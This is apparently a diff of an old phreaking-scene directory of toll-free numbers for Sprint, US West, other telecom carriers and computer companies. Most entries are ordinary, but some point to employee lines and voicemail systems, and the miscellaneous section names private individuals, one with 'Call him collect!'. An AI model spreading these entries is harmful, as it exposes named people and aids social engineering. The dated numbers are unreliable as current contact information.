+1-800-210-2273 Sprint Long Distance.
+1-800-213-5430 Sprint.
+1-800-215-8037 Sprint Solutions Center.
+1-800-227-9892 Sprint.
+1-800-256-8340 Sprint Canada.
+1-800-277-7468 Sprint Phone Card and Collect calls.
+1-800-308-MOST Sprint Canada.
+1-800-322-3090 Sprint BusinessFlex.
+1-800-336-MOST Sprint Canada.
+1-800-344-9667 Sprint.
+1-800-344-9679 Sprint "Nickel Nights"
+1-800-344-9690 Sprint "Nickel Nights"
+1-800-348-MOST Sprint Canada.
+1-800-349-MOST Sprint Canada.
+1-800-359-2255 Sprint Voice Phone Card.
+1-800-361-9342 Sprint Canada Customer Service. (French)
+1-800-366-0707 Sprint Pre-Paid Card Customer Service.
+1-800-366-2255 Sprint automated LD calling (U.S. and Canada)
+1-800-370-MOST Sprint Canada.
+1-800-455-4602 Sprint PCS.
+1-800-456-9711 Sprint Canada Customer Service.
+1-800-459-MOST Sprint Canada.
+1-800-465-3193 Sprint Canada Customer Service. (English)
+1-800-467-7746 Sprint.
+1-800-469-MOST Sprint Canada.
+1-800-470-MOST Sprint Canada.
+1-800-471-MOST Sprint Canada.
+1-800-474-MOST Sprint Canada.
+1-800-475-7110 Sprint Canada.
+1-800-480-4727 (1-800-480-4PCS) Sprint PCS.
+1-800-483-MOST Sprint Canada.
+1-800-485-4493 Sprint Canada. (Fax)
+1-800-496-MOST Sprint Canada.
+1-800-505-MOST Sprint Canada.
+1-800-506-8268 Sprint Canada.
+1-800-511-2041 EarthLink Sprint/Mindspring Internet Services.
+1-800-515-MOST Sprint Canada "It's Easy home800"
+1-800-516-MOST Sprint Canada.
+1-800-517-MOST Sprint Canada.
+1-800-518-MOST Sprint Canada.
+1-800-522-9320 Sprint Canada.
+1-800-540-4516 Sprint Canada.
+1-800-546-6000 SprintNet's In-WATS Service.
+1-800-548-8120 Sprint Canada.
+1-800-555-2800 Sprint (Spanish)
+1-800-570-2255 Sprint Business Service Center.
+1-800-571-MOST Sprint Canada.
+1-800-575-2255 Sprint Canada's Business Sales Office in Halifax.
+1-800-575-MOST Sprint Canada.
+1-800-580-MOST Sprint Canada.
+1-800-581-MOST Sprint Canada.
+1-800-585-MOST Sprint Canada.
+1-800-593-MOST Sprint Long Distance.
+1-800-597-1195 Sprint Canada.
+1-800-597-9765 Sprint Canada.
+1-800-601-MOST Sprint Canada.
+1-800-605-MOST Sprint Canada.
+1-800-606-MOST Sprint Canada "It's Easy home800"
+1-800-607-MOST Sprint Canada.
+1-800-613-7797 Sprint Canada Customer Service.
+1-800-613-MOST Sprint Canada.
+1-800-616-MOST Sprint Canada "It's Easy home800"
+1-800-617-MOST Sprint Canada.
+1-800-631-MOST Sprint Canada.
+1-800-638-2661 EarthLink Sprint. (Internet)
+1-800-641-MOST Sprint Canada.
+1-800-653-MOST Sprint Canada.
+1-800-666-6999 Sprint Canada.
+1-800-674-7000 Sprint.
+1-800-680-MOST Sprint Canada.
+1-800-681-MOST Sprint Canada.
+1-800-691-MOST Sprint Canada "It's Easy home800"
+1-800-713-MOST Sprint Canada.
+1-800-714-MOST Sprint Canada.
+1-800-716-MOST Sprint Canada.
+1-800-720-MOST Sprint Canada.
+1-800-736-1130 SprintNet Data Network Products and Services.
+1-800-746-3767 (1-800-PIN-DROP) Sprint. (U.S. only)
+1-800-749-MOST Sprint Canada.
+1-800-777-4681 (1-800-SPRINT-1) Sprint Paging.
+1-800-777-4683 (1-800-SPRINT-3) Sprint Selections.
+1-800-801-MOST Sprint Canada.
+1-800-810-MOST Sprint Canada.
+1-800-827-2200 Sprint Business.
+1-800-827-3700 Sprint Long Distance.
+1-800-827-4680 Sprint Business.
+1-800-827-4685 Sprint's Global One Customer Service Center.
+1-800-827-4700 Sprint Long Distance.
+1-800-827-4800 Sprint Business Sales Office.
+1-800-827-9080 Sprint.
+1-800-830-MOST Sprint Canada.
+1-800-831-MOST Sprint Canada.
+1-800-840-MOST Sprint Canada "The Most" Enrollment.
+1-800-841-MOST Sprint Canada.
+1-800-843-6678 (1-800-THE-MOST) Sprint Canada.
+1-800-859-8888 Sprint Canada Operator.
+1-800-873-9350 Sprint Canada.
+1-800-874-5069 Sprint Canada.
+1-800-877-4453 Sprint Employee News line. (U.S. only. Updated daily)
+1-800-877-4646 Sprint Account/Rewards/Calling Card customer services.
+1-800-877-5045 Sprint Service Management Center.
+1-800-877-8000 Sprint Operator assisted calls.
+1-800-877-8973 Sprint National Relay Service in the U.S. (voice/TTY)
+1-800-890-6356 EarthLink Sprint.
+1-800-939-MOST Sprint Canada.
+1-800-980-5464 Sprint Canada Residential Customer Service/Sales. (English)
+1-800-980-8595 Sprint Canada Residential Customer Service/Sales. (French)
+1-800-994-MOST Sprint Canada.
+1-800-EARTHLINK EarthLink Sprint. (Internet)
+1-800-FON-CARD Sprint's automated calling.
+1-877-283-2933 Sprint.
+1-877-283-2934 Sprint's Business Line.
+1-877-283-2935 Sprint Automated Customer Service.
+1-877-4-NIGHTS Sprint Nickel Nights.
+1-877-4-WEEKENDS Sprint Weekends.
+1-877-4-YOURPLAN Sprint BusinessFlex.
+1-877-431-EASY Sprint Canada Easy Unlimited.
+1-877-508-XTRA Sprint Canada "The Most" Online.
+1-877-525-XTRA Sprint Canada "The Most" Online.
+1-877-533-XTRA Sprint Canada "The Most" Online.
+1-877-537-XTRA Sprint Canada "The Most" Online.
+1-877-591-EASY Sprint Canada Easy Unlimited.
+1-877-592-EASY Sprint Canada Easy Unlimited.
+1-877-597-EASY Sprint Canada Easy Unlimited.
+1-877-598-EASY Sprint Canada Easy Unlimited.
+1-877-5CONTACT Sprint.
+1-877-602-EASY Sprint Canada Easy Unlimited.
+1-877-727-5835 Sprint PCS.
+1-877-770-7928 Sprint Canada Ascenda.
+1-877-901-7400 Sprint Canada Ascenda.
+1-877-903-1553 Sprint Canada Ascenda.
+1-877-906-MOST Sprint Canada.
+1-877-914-XTRA Sprint Canada "The Most" Online.
+1-877-931-EASY Sprint Canada Easy Unlimited.
+1-877-935-EASY Sprint Canada Easy Unlimited.
+1-877-939-EASY Sprint Canada Easy Unlimited.
+1-877-940-EASY Sprint Canada Easy Unlimited.
+1-877-941-EASY Sprint Canada Easy Unlimited.
+1-877-943-EASY Sprint Canada Easy Unlimited.
+1-877-945-EASY Sprint Canada Easy Unlimited.
+1-877-950-EASY Sprint Canada Easy Unlimited.
+1-877-951-EASY Sprint Canada Easy Unlimited.
+1-877-953-EASY Sprint Canada Easy Unlimited.
+1-877-955-EASY Sprint Canada Easy Unlimited.
+1-877-PCS-PERKS Sprint PCS Northwest Airlines Program.
+1-888-220-3763 Sprint Canada's "The Most" Online.
+1-888-236-EASY Sprint Canada's "The Most" Online.
+1-888-254-0701 Sprint Canada's "The Most" Online.
+1-888-254-2927 Sprint Canada.
+1-888-276-2179 Sprint PCS.
+1-888-296-EASY Sprint Canada.
+1-888-345-0718 Sprint Canada's "The Most" Online.
+1-888-369-DATA Sprint.
+1-888-371-EASY Sprint Canada.
+1-888-4-SPRINT Sprint Business.
+1-888-456-EASY Sprint Canada.
+1-888-490-EASY Sprint Canada's "The Most" Online.
+1-888-496-EASY Sprint Canada.
+1-888-510-EASY Sprint Canada.
+1-888-512-EASY Sprint Canada.
+1-888-579-EASY Sprint Canada.
+1-888-581-EASY Sprint Canada.
+1-888-621-EASY Sprint Canada.
+1-888-657-EASY Sprint Canada.
+1-888-660-EASY Sprint Canada.
+1-888-670-EASY Sprint Canada.
+1-888-671-EASY Sprint Canada.
+1-888-673-EASY Sprint Canada.
+1-888-675-EASY Sprint Canada.
+1-888-677-7464 EarthLink Sprint.
+1-888-680-EASY Sprint Canada's "The Most" Online.
+1-888-685-EASY Sprint Canada's "The Most" Online.
+1-888-689-EASY Sprint Canada's "The Most" Online.
+1-888-690-EASY Sprint Canada's "The Most" Online.
+1-888-710-EASY Sprint Canada's "The Most" Online.
+1-888-777468-249 (1-888-SPRINT-BIZ) Sprint Business Flex line.
+1-888-790-EASY Sprint Canada.
+1-888-871-5288 Sprint Canada Customer Service.
+1-888-890-2384 Sprint Canada (French)
+1-888-998-2288 Sprint Canada (Chinese)
+1-888-IN-TOUCH Sprint "Stay in touch" Services.
+
+
+-------------------------------------------------------------------------------
+ US West:
+-------------------------------------------------------------------------------
+
+(303) 896-7683 US West (Denver), automated job line.
+1-800-227-2209 Enterprise US West Employee Help Line.
+1-800-238-7848 US West "Air Touch" Cellular.
+1-800-244-1111 US West Communications.
+1-800-338-0018 US West Direct Yellow Pages.
+1-800-422-8793 US West Directory Source.
+1-800-455-8706 US West Repair Center for AT&T.
+1-800-477-7211 US West Communications Public Access Solutions and Smart Cards.
+1-800-4US-WEST US West Card Services.
+1-800-626-6611 US West "Air Touch" Cellular Customer Service.
+1-800-7US-WEST "Please enter the area code..."
+1-800-856-3376 US West Dispatch. (U.S. only)
+1-800-879-4357 US West Employee Locator.
+1-800-883-6171 US West Completions and Translations. (U.S. only)
+1-800-8US-WEST "Please enter the area code..."
+1-800-AIRTOUCH US West "Air Touch".
+1-800-US-WEST0 "Enter Code."
+1-888-4US-WEST US West Home Office Consulting Center.
+
+
+-------------------------------------------------------------------------------
+ Communications and Telephone Companies:
+-------------------------------------------------------------------------------
+
+1-800-201-0640 Touch 1 Communications.
+1-800-222-4444 Armstrong AITS Support Center. (call to report telco outages)
+1-800-222-4500 West Tel Services.
+1-800-225-2545 Century Telephone Long Distance Calls (Hardy, AR)
+1-800-225-5018 Intelephone.
+1-800-225-5123 Starnet.
+1-800-225-5265 1-800-COLLECT.
+1-800-225-5438 IDT Long Distance/Internet Services.
+1-800-225-5463 Directory Assistance (800-CALL-INFO)
+1-800-231-0989 TTI National Customer Service. (West Palm Beach, FL)
+1-800-231-6720 Discounted Telephone Services (Walnut, CA)
+1-800-231-8949 ITT. (Key West, FL)
+1-800-232-7839 Eastex Telephone After Hours Repair. (Henderson, TX)
+1-800-235-4008 Information America's Client Support. (DDT Online)
+1-800-236-3075 TDS Telecom Network Management.
+1-800-243-0234 Farmstead Telephone. (East Hartford, CT)
+1-800-243-8674 NRG Communications (MI)
+1-800-245-6088 Colorado Telephone Equipment. (Englewood, CO)
+1-800-250-9999 InterMedia Communications Customer Care Center.
+1-800-252-5115 Aviation Telephone Directory. (Stanton, CA)
+1-800-263-5444 Lexsys Networks, Inc. (Nortel Networks Sales and Service)
+1-800-264-2255 InComNet National Telephone and Communications.
+1-800-265-9975 Extend Communications Inc. (Bell Authorized Network Partner)
+1-800-267-2772 Sitel Canada.
+1-800-267-4955 Independent Telephone Services.
+1-800-272-6348 1-800-BRAND-IT (Toll Free Vanity Number Provider)
+1-800-281-9616 Telephone Pioneers of America. (Denver, CO)
+1-800-286-8241 Touch 1 Communications.
+1-800-288-2880 OCI Communications.
+1-800-292-6441 Directory Advertising (Yellow Pages)
+1-800-294-0020 US Tel. (phone repairs and sales)
+1-800-321-7036 Aero-Tech Communications. (Lucent and Nortel Dealer)
+1-800-321-9998 World Access Canada.
+1-800-324-1234 CTI Long Distance Customer Service.
+1-800-327-5389 A Target Telecom Discount Long Distance Service.
+1-800-327-5389 Discount Long Distance.
+1-800-328-2174 Telematic. (these people are phreakymatic)
+1-800-333-9967 Communication Options.
+1-800-334-2255 GE Information Services Center.
+1-800-338-8108 Consolidated Ventura Telephone.
+1-800-343-7363 American Telegram (24 Hour Worldwide Telegram Service)
+1-800-345-3444 AlternaCall Customer Information Line.
+1-800-349-6874 Mr Telephone. (Palmetto, FL)
+1-800-354-3360 Yelcot Telephone Company. (Mountain Home, AR)
+1-800-355-6245 ATX Telecommunication Services. (Answering Machine)
+1-800-356-9968 Yellow Pages Consulting.
+1-800-363-3811 Belcom Communications.
+1-800-366-4750 Ranco. (Telephone Equipment Systems Service and Repair)
+1-800-369-8885 Citizens Communications. (Telephone Company)
+1-800-373-2324 McLeodUSA (Telephone directories and service)
+1-800-374-5364 Audi Telecommunications Customer Care Center.
+1-800-387-0005 Primus Canada.
+1-800-387-2837 Dominion Telephone Systems Ltd.
+1-800-387-4172 The Canadian Telephone Company Inc.
+1-800-392-9857 Standard Payphones of America. (Carlsbad, CA)
+1-800-395-4656 ITC Telecom Dispatch Service.
+1-800-399-3970 Maritel (Marine Radiotelephone Common Carrier Communication)
+1-800-401-0350 FiberNet Telemanagement. (Telephone Company)
+1-800-401-4141 FiberNet Telemanagement, Inc.
+1-800-405-6543 American Mobile Customer Accounts Support Center.
+1-800-422-1199 Broadway Communications. (Long Distance)
+1-800-422-2387 Poka-Lambro Telephone. (Tahoka, TX)
+1-800-424-6262 ITT Voice Mail. (Meridian Mail)
+1-800-426-4000 Pearce Communications.
+1-800-433-5853 All-Tel.
+1-800-435-7194 Primus (Fax)
+1-800-444-2817 Primus Customer Care Center. (Spanish)
+1-800-444-9000 Telecom USA.
+1-800-453-7638 SNET. (Telephone Company in New Haven, CT)
+1-800-453-7638 SNET. (Telephone Company)
+1-800-455-5958 ITC Telecom.
+1-800-457-0276 Action Telephone.
+1-800-462-9791 M Telecom Internet Business Services.
+1-800-465-0049 Deutschland Direct Telecom. (German)
+1-800-467-2355 Century Tel.
+1-800-480-4198 National Communication Network.
+1-800-483-2871 Pacific Coast Communications.
+1-800-483-4444 FirsTel Advanced Communications Customer Service Center.
+1-800-483-5463 800 Ideas.com Incorporated.
+1-800-483-6681 StarTec Global Communications.
+1-800-494-4884 Primus Trouble Reporting Department.
+1-800-521-5422 Group Long Distance (Fort Lauderdale, FL)
+1-800-524-4736 National Phone Lines (Hales Corners, WI)
+1-800-531-0003 STS Incorporated. (Telephone Company)
+1-800-533-4171 Century Tel Repair.
+1-800-535-2211 Touch Tone America. (Long Distance Service)
+1-800-540-3598 10-10-220 Customer Service.
+1-800-540-7903 StarTec Long Distance. (Chinese)
+1-800-542-7279 (1-800-LIBRARY) The Teleconnect Dictionary (Telecom Books, etc.)
+1-800-544-4660 Plantronics Telephone Headsets.
+1-800-545-6188 Hope Telecom.
+1-800-545-7000 Komtek Communications.
+1-800-555-1212 Toll Free Directory Assistance/Info. (the 411 of toll free)
+1-800-555-7665 TelAmerica.
+1-800-562-8697 Teledo Telephone Company, Inc.
+1-800-562-9880 TCL Network.
+1-800-568-5681 Eclypse Telecommunications.
+1-800-568-8929 Latin American Enterprise Telephone. (Miami, FL)
+1-800-580-5585 WesTel Incorporated Customer Service.
+1-800-582-3425 Idealdial Corporation (Colorado)
+1-800-588-1111 ActionTel.
+1-800-588-2222 ActionTel Customer Service.
+1-800-594-3000 Call Home America.
+1-800-594-5900 Call Home America (Global Crossing) Customer Service.
+1-800-599-7930 Power and Telephone Supply. (Tampa, FL)
+1-800-622-4354 Electric Lightwave Network Service Center.
+1-800-627-5609 Conquest Customer Service.
+1-800-631-3449 Total Tel.
+1-800-632-0585 Brant Telephone.
+1-800-638-5298 Global Telecom Supplies. (Meridian, Norstar)
+1-800-651-2355 MobileTel, Inc.
+1-800-654-3373 Hertz Technologies Customer Service. (Long Distance Service)
+1-800-658-5600 All-Star Customer Service.
+1-800-661-1886 Palco Telecom Inc. (call diverters, lineman test sets, etc.)
+1-800-667-7656 Accord Communications Inc. (Lucent PBX and VMB systems, etc.)
+1-800-704-7977 Primus Communications.
+1-800-722-2300 Nynex President Switchboard.
+1-800-727-6874 Network Telephone Services. (Woodland Hills, CA)
+1-800-735-3030 Cincinnati Bell Long Distance.
+1-800-746-9930 Great Lakes Telephone Corp.
+1-800-749-0300 Pilgrim Telephone.
+1-800-749-8000 Nextel International.
+1-800-768-0015 Call Home America Ultimate 800.
+1-800-768-1212 Chester Telephone.
+1-800-768-1230 Convergent Communications.
+1-800-768-1234 Telecom USA. (10-10-321, 10-10-220 Services)
+1-800-768-2800 Call Home America.
+1-800-768-7777 Call Home America Ultimate 800.
+1-800-777-6842 KPN Telecom.
+1-800-788-8588 Working Assets Long Distance.
+1-800-8-PRIMUS Primus Customer Service Department.
+1-800-805-1000 Total Tel Customer Service.
+1-800-808-8348 Global Crossing.
+1-800-808-SNET SNET All Distance International Dialing Directory.
+1-800-821-1661 InterTel Network Services.
+1-800-821-1831 Hamilton Telecommunications. (Telephone Company)
+1-800-827-0074 Access Global.
+1-800-827-1200 American Directory Service Corporation. (order telephone books)
+1-800-827-4707 Office Telecom.
+1-800-827-4827 All-Tel Communications.
+1-800-827-9940 Access Technical Services Call Routing System.
+1-800-827-9950 GE Access Canadian Business Division.
+1-800-829-1011 Network Management Center.
+1-800-833-2330 Consolidated Ventura. (Tucson, AZ)
+1-800-833-2700 Cooperative Communications, Inc.
+1-800-833-2700 Cooperative Long Distance Services Inc (Kearny NJ)
+1-800-835-7788 US Telecom International.
+1-800-848-0955 Williams Communications Solutions. (Meridian, OcTel info etc.)
+1-800-858-2399 California Oregon (CalOr) Telephone Company.
+1-800-861-3743 Global Crossing Speedlink.
+1-800-861-3744 Call Home America.
+1-800-864-2501 Williams Communications.
+1-800-864-8351 Quantum Link Communications.
+1-800-872-3369 US WATS.
+1-800-872-4018 Century Telephone Long Distance Calls (La Crosse WI)
+1-800-882-2691 Atlantic Telesis Group. (Yonkers, NY)
+1-800-888-1000 Pilgrim Telephone.
+1-800-897-8675 Access Communications, Inc. (Long Distance Service)
+1-800-909-3436 Simtel Inc. Independent Payphone Service. (New York/New Jersey)
+1-800-909-4945 Computer 411.
+1-800-909-5008 LCC Network Services.
+1-800-909-5109 Automated Transmitter System.
+1-800-922-8992 Trans Global. (Long Distance Service)
+1-800-925-1111 TONE. Long Distance.
+1-800-925-2289 US Tel Customer Service.
+1-800-926-1350 Marketing Directory Services.
+1-800-929-1366 Tel-Save. (Long Distance Service)
+1-800-930-6644 Canada Reconnect. (Call if Bell cuts your phone service)
+1-800-933-6600 Federal TransTel, Inc.
+1-800-937-2394 Convergent Communications Billing.
+1-800-938-2255 Pilgrim Telephone. (Intimate Connections)
+1-800-968-0461 Enterprise Telephone.
+1-800-972-0600 US WATS Customer Service.
+1-800-991-9900 Brant Telephone.
+1-800-999-2222 Pilgrim Telephone.
+1-800-ALPHANET Alphanet Solutions. (Telecom Sales)
+1-800-EASY-HOME Corporate Image Marketing. (Vanity 800 numbers, etc.)
+1-800-FUCK-ATT Pilgrim Telephone. (Automated Collect calls) (U.S. only)
+1-800-FUCK-MCI Pilgrim Telephone. (Automated Collect calls) (U.S. only)
+1-800-FUCK-NCR Pilgrim Telephone.
+1-800-HI-ITS-ME AlternaCall. (Automated Collect calls in Canada)
+1-800-NEXTEL-9 Nextel.
+1-800-PRIMUS-1 Primus Canada.
+1-800-PRIMUS-2 Primus DSL Sales.
+1-800-WEST-TEL West Group Telecommunications Department.
+1-800-WILLIAMS Williams Communications Emergency line.
+1-877-316-3900 Telephone Service. (Sherwood, AR)
+1-877-396-1122 WinTel Communications. (owned by PRIMUS Canada)
+1-877-396-3939 Union Telecom.
+1-877-465-BELL U.S. Long Distance.
+1-877-466-BELL Network Services, Inc.
+1-877-469-BELL Nevada Bell QuickService.
+1-877-469-BELL Nevada Bell.
+1-877-535-3456 Union Telecom. (English and Italian)
+1-877-615-BELL Watstar Long Distance.
+1-877-677-4687 (1-877-6-PRIMUS) Primus Canada Long Distance Services.
+1-877-703-0599 Primus Canada.
+1-877-703-2248 Primus Canada.
+1-877-703-2249 Primus Canada.
+1-877-703-2250 Primus Canada.
+1-877-703-2263 Primus Canada.
+1-877-703-2264 Primus Canada.
+1-877-703-2267 Primus Canada.
+1-877-777-4681 (1-877-SPRINT-1) London Telecom Network.
+1-877-819-4976 A1Call.com
+1-877-GLOBAL-1 Audi Telecommunications.
+1-877-MOBILECOM 800 Ideas.com Inc.
+1-877-PRIMUS-1 Primus Canada.
+1-877-PRIMUS-2 Primus Canada. (Arabic, French and English)
+1-877-WINTEL-1 WinTel Communications.
+1-877-WINTEL-2 WinTel Communications.
+1-877-WINTEL-3 WinTel Communications. (French)
+1-877-WINTEL-4 WinTel Communications.
+1-877-WINTEL-5 WinTel Communications.
+1-877-WINTEL-6 WinTel Communications.
+1-877-WINTEL-8 WinTel Communications.
+1-877-WINTEL-9 WinTel Communications.
+1-888-216-6609 London Telecom Network.
+1-888-266-7873 1-800-BRAND-IT (Toll Free Vanity Number Provider)
+1-888-299-3840 TTI National Dispatch. (Telephone Company)
+1-888-344-0400 Convergent Communications Repairs.
+1-888-376-6843 Dial 800.
+1-888-447-4653 Telephone On Hold Commercials.
+1-888-539-5234 Ducor Telephone. (Ducor, CA)
+1-888-553-8711 Telephone Support Systems.
+1-888-564-6488 IT&T. (Telephone Company)
+1-888-715-2355 Call Home America Ultimate 800.
+1-888-774-6383 Prime Tel Communications, Inc.
+1-888-777-6561 Florida Telephone. (West Palm Beach, FL)
+1-888-825-2355 Connect America.
+1-888-933-6786 NPA West.
+1-888-ALPHANET Alphanet Solutions.
+1-888-GLOBAL-1 Primus Canada.
+1-888-ITSGREAT American Telecom Network. (sign up for toll free numbers)
+1-888-MILLENNIUM 800 Ideas.com
+1-888-ROGERS-1 Rogers Cable.
+1-888-ROGERS-2 Rogers Connection.
+1-888-SHAWPAGE Shaw Call Center.
+1-888-TELE-COR Telecore.
+1-888-WINTEL-1 WinTel Communications.
+1-888-Y-TOP-TEN ATN's Top Ten reasons why you should get a toll free number.
+
+
+-------------------------------------------------------------------------------
+ Computer Companies and Internet Services:
+-------------------------------------------------------------------------------
+
+1-800-218-6850 MSN (Micro$oft Network)
+1-800-221-4677 Micro$oft Seminars.
+1-800-222-5161 IBM Program Headquarters.
+1-800-222-9323 AMD's Literature and Technical Service Center. (no Fax-back)
+1-800-223-7065 Unisys. (San Jose, CA)
+1-800-225-5249 (1-800-CALL-AIX) IBM AIX Support.
+1-800-225-5373 3M Electronic Products Information.
+1-800-225-5385 Compaq Computer Corporation.
+1-800-225-5664 NEC.
+1-800-229-1103 Gateway Technical Support Tutorial Credit Card Line.
+1-800-233-3382 Novell Education Programs.
+1-800-234-9999 Dell Computer Corp. Preferred Accounts Division.
+1-800-242-0080 Compaq Corporation.
+1-800-245-4786 MSN (Micro$oft Network)
+1-800-260-DELL DELL.
+1-800-263-1121 Canon Canada.
+1-800-263-2244 Sanyo On-Site.
+1-800-263-2777 IBM Software Replication Services.
+1-800-263-3394 Apple Canada.
+1-800-267-1100 Compaq Canada.
+1-800-267-5251 Compaq Services Canadian Customer Support Centre.
+1-800-267-9975 OpenText Corporation.
+1-800-268-1221 Hewlett-Packard Canada Ltd.
+1-800-268-3997 NEC Canada.
+1-800-289-3355 (1-800-BUY-DELL) DELL Canada.
+1-800-296-7160 DELL Canada.
+1-800-321-4044 Intel Overdrive/Microprocessor Support Line.
+1-800-325-9141 DELL Canada.
+1-800-332-2717 Intel Technical Support.
+1-800-332-4636 Compaq Computer Corporation.
+1-800-336-5236 Texas Instruments.
+1-800-339-6181 Toshiba.
+1-800-344-4825 (1-800-DIGITAL) Compaq Canada.
+1-800-346-6873 (1-800-34-MOUSER) Mouser Electronics (order crystals)
+1-800-354-9000 Compaq Customer Services.
+1-800-356-LOOK LOOK Pay Per View, TV and Internet Services.
+1-800-359-9556 Samsung Telecommunications.
+1-800-364-3577 3M Canada.
+1-800-365-9012 Sun Microsystems Educational Services. (Denver, CO)
+1-800-387-3867 Hewlett-Packard Canada Customer Information Centre.
+1-800-387-5645 Toshiba Canada.
+1-800-4-ONLINE America Online order line.
+1-800-426-2255 (IBM-CALL) IBM Customer Support.
+1-800-426-4682 IBM Performance Management and Capacity Planning Services.
+1-800-426-4968 (IBM-4YOU) IBM Products, Services and Technical Support.
+1-800-426-7378 (IBM-SERV) IBM Hardware/Software technical information.
+1-800-428-3929 (1-800-GATEWAY) Gateway in South Dakota.
+1-800-433-9996 Micro$oft TechHead 2000 Registration Headquarters.
+1-800-448-2244 (1-800-HITACHI) Hitachi.
+1-800-457-6245 CSI CompuServe Technical Support. (Requires UserId #)
+1-800-463-9241 DELL Canada.
+1-800-465-7748 IBM Products, Sales and Services Center.
+1-800-465-7999 IBM Direct.
+1-800-468-3548 (1-800-INTEL-IT) Intel Product Repair Service.
+1-800-475-3107 Joanne Wilson from IBM Global Services Pager.
+1-800-483-1170 3Com's Customer Service after hours VMB.
+1-800-483-1288 IBM Work Group Services.
+1-800-486-4835 SCO Unix Technical Support.
+1-800-509-1800 Novell's Customer Response Center.
+1-800-522-6245 AMD VMS. (enter 3 digit ext# then 3 digit passcode#)
+1-800-524-3388 CompuServe.
+1-800-539-6275 (1-800-LEXMARK) Lexmark Canada.
+1-800-553-2447 Cisco Systems Technical Assistance Center.
+1-800-553-6387 Cisco Systems Sales and Customer Service.
+1-800-555-2052 Gateway 2000 International Department.
+1-800-555-2091 Gateway 2000 International Department.
+1-800-555-3012 Gateway Direct Line.
+1-800-555-6820 Hitachi Data Systems PC Products Support Services Team.
+1-800-555-9786 Sun Microsystems. (Palo Alto, CA)
+1-800-563-9048 Micro$oft Canada Sales and Information Centre.
+1-800-565-2237 Acer America Corporation.
+1-800-567-1616 Compaq Canada.
+1-800-569-DELL DELL.
+1-800-586-DELL DELL.
+1-800-595-8480 Rogers@Home.
+1-800-622-4786 Sun Microsystems Hardware Support and Information.
+1-800-628-8686 Intel Customer Service.
+1-800-628-9526 Compaq Support Line.
+1-800-638-9273 Novell Customer Support.
+1-800-638-9636 Genie Online Service.
+1-800-647-2355 MinIowa PC Partner.
+1-800-648-4452 American Microsystems.
+1-800-652-6672 (1-800-OK-COMPAQ) Compaq Computer Corporation Technical Support.
+1-800-658-5199 AccessData Corporation. (Data recovery)
+1-800-661-7274 SeaChange (Internet Services)
+1-800-663-0378 Toshiba Canada Notebook Computer Division.
+1-800-665-2775 Apple Canada Dealer Locator Line.
+1-800-696-8909 Internet Direct Corporate Business Solutions.
+1-800-722-4786 Sun Microsystems Canada Customer Care Centre.
+1-800-726-7864 (1-800-SAMSUNG) Samsung Information Line.
+1-800-733-7418 DELL Canada.
+1-800-733-9673 (1-800-RED-WORD) Novell Developer's Support.
+1-800-746-DELL DELL.
+1-800-752-0900 Hewlett-Packard.
+1-800-777-3278 Fujitsu Network Communications Inc.
+1-800-777-4343 Digital Equipment Corp.
+1-800-786-0404 (1-800-SUN-0404) Sun Express (supplier of Sun Microsystems)
+1-800-786-8688 Sun Microsystems Financing-Fax Line.
+1-800-801-7869 Sun Microsystems Investor Relations Department.
+1-800-827-0035 America Online.
+1-800-827-1225 IBM/NCR Retail Vendor Support Line.
+1-800-827-2180 TOS Computer Systems.
+1-800-828-3362 Novell Authorization Department.
+1-800-841-8743 Computer Associates Client Services.
+1-800-842-2737 Texas Instruments.
+1-800-846-2301 Gateway Technical Support Line.
+1-800-847-4096 DELL Canada's Service and Support Hot Line.
+1-800-848-8199 CompuServe.
+1-800-848-8990 CompuServe.
+1-800-858-1810 Cypress Semiconductor.
+1-800-858-4000 Novell Technical Support.
+1-800-865-1115 Telecom Computer.
+1-800-879-7660 Iomega's Instant Access Help System.
+1-800-892-4429 Quanix Data Services.
+1-800-900-DELL DELL.
+1-800-921-DELL DELL.
+1-800-942-6227 Mostly Mac Inc.
+1-800-945-6111 Sun Microsystems Developer Connection.
+1-800-948-DELL DELL.
+1-800-999-DELL DELL Canada.
+1-800-COMP-USA CompUSA Stores and Customer Service.
+1-800-DEFENDER Net Zero. (free Internet service)
+1-800-IOPENER Netpliance.
+1-800-OK-CANON Canon Canada.
+1-800-ORACLE-1 Oracle Direct Response Sales and Marketing Department.
+1-800-PEOPLEPC People PC Computer and Internet Service.
+1-800-PSI-1141 PSINet.
+1-800-SCO-UNIX SCO Services Sales.
+1-800-TOSHIBA Toshiba Computer Systems.
+1-877-208-4717 Rogers@Home.
+1-877-584-5551 AltaVista free access support line. (free Internet)
+1-877-727-3375 MinIowa Help Desk.
+1-877-754-5375 Sun Microsystems FAX. (Newark, CA)
+1-877-EXECULINK ExecuLink Internet Services.
+1-877-HOWEWORK Dell.
+1-877-NOVELL-1 Novell.
+1-877-SHARP-22 Sharp Canada Customer Care Center.
+1-877-YOUR-MSN Micro$oft Network.
+1-88-TELIGENT Teligent.
+1-888-267-3856 Compaq.
+1-888-288-4663 Rogers@Home Technical Support.
+1-888-321-3737 VIF Internet.
+1-888-4-SENTEX Sentex Communications.
+1-888-453-9226 Lexmark Canada.
+1-888-478-2730 I-Star Internet Incorporated.
+1-888-622-3289 Fastekk Systems.
+1-888-673-8925 Micro$oft's Y2K Disclosure Line.
+1-888-692-1122 CompuServe.
+1-888-700-3279 InterTel Network Solutions.
+1-888-714-6695 Scarborough Computers (Authorized Shaw@Home Retailer)
+1-888-750-6990 Shaw@Home Technical Support.
+1-888-755-7068 Sun Microsystems Fax. (Mountain View, MA)
+1-888-786-2310 Sun Microsystems. (Broomfield, CO)
+1-888-786-3463 Sun Microsystems. (Palo Alto, CA)
+1-888-791-0176 Primus Canada (iPrimus)
+1-888-839-9295 IBM Haliburton Service Desk.
+1-888-843-5282 Sun Microsystems Software Products and Platforms Sales Group.
+1-888-858-4PSI PSINet Canada.
+1-888-871-5111 Hewlett-Packard Computer Supplies.
+1-888-DELL-PCS DELL Canada.
+1-888-IBM-5800 IBM Small Business Solutions Center.
+1-888-PSI-NET1 PSINet Limited.
+1-888-PSI-NET2 PSINet Limited.
+1-888-SHOP-IBM Shop IBM. (Ext 7300, 7311 or 7320)
+
+
+-------------------------------------------------------------------------------
+ Miscellaneous Numbers:
+-------------------------------------------------------------------------------
+
+(214) 275-4206 Robert Ray in Dallas, Texas. Call him collect!
+(303) 499-7111 Atomic Clock in Colorado.
+(312) 408-1400 TU (Trans Union)
+(435) 855-3326 DefCon Voice Bridge (hack/phreak discussions and chats)
+(937) 445-4357 NCR HQ. (option 2)
+
+1-800-200-0068 Call Interactive. (listen to male and female voices)
+1-800-205-6700 Coolemail.com
+1-800-221-2255 American Airlines VMS.
